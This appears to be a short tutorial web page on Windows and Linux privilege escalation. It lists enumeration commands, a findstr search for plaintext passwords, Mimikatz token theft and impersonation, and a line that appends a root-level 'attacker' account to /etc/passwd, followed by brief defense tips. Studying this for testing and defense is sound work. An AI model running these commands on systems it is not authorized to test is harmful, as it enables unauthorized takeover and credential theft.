Privilege Escalation Guide

What is Privilege Escalation?

Privilege Escalation is the process where a user gains higher-level permissions, usually to perform actions reserved for admins or SYSTEM.

Types of Privilege Escalation

• Vertical Escalation – From normal user to admin.
• Horizontal Escalation – Accessing resources of another user without higher privileges.

Privilege Escalation on Windows

1. Checking Current Privileges

See what privileges your user has:

Copywhoami /priv

2. Finding Misconfigured Services

List automatically starting services, often vulnerable:

Copywmic service get name,displayname,pathname,startmode | findstr /i "Auto"

3. Unquoted Service Paths

Check if a service path isn't quoted (can exploit by placing your executable):

Copysc qc ServiceName

4. Scheduled Tasks with Weak Permissions

Find scheduled tasks where you might have write access:

Copyschtasks /query /fo LIST /v

5. Checking File and Folder Permissions

Look for files/folders with weak ACLs (you can edit):

Copyicacls C:\Path\To\FileOrFolder

6. Using PowerUp to Automate Checks

PowerShell module to find misconfigurations automatically:

CopyImport-Module .\PowerUp.ps1
Invoke-AllChecks

7. Searching for Plaintext Passwords

Search for passwords inside common file types:

Copyfindstr /si password *.txt *.ini *.xml

8. Token Manipulation using Mimikatz

Steal another user's token and impersonate:

Copymimikatz
privilege::debug
token::elevate

Privilege Escalation on Linux

1. Checking Sudo Rights

See what commands you can run with sudo without password:

Copysudo -l

2. Finding SUID Binaries

SUID files run as the file owner (often root):

Copyfind / -perm -4000 2>/dev/null

3. Writable /etc/passwd Trick

If you can write to /etc/passwd, add a root user manually:

Copyecho 'attacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd

Defense Tips

• Apply security patches regularly
• Fix misconfigured services and permissions
• Monitor privilege changes
• Never store passwords in plaintext files

Summary

Privilege escalation is key both for attackers and defenders. Understanding and fixing vulnerabilities helps to protect systems properly.

← Back to Home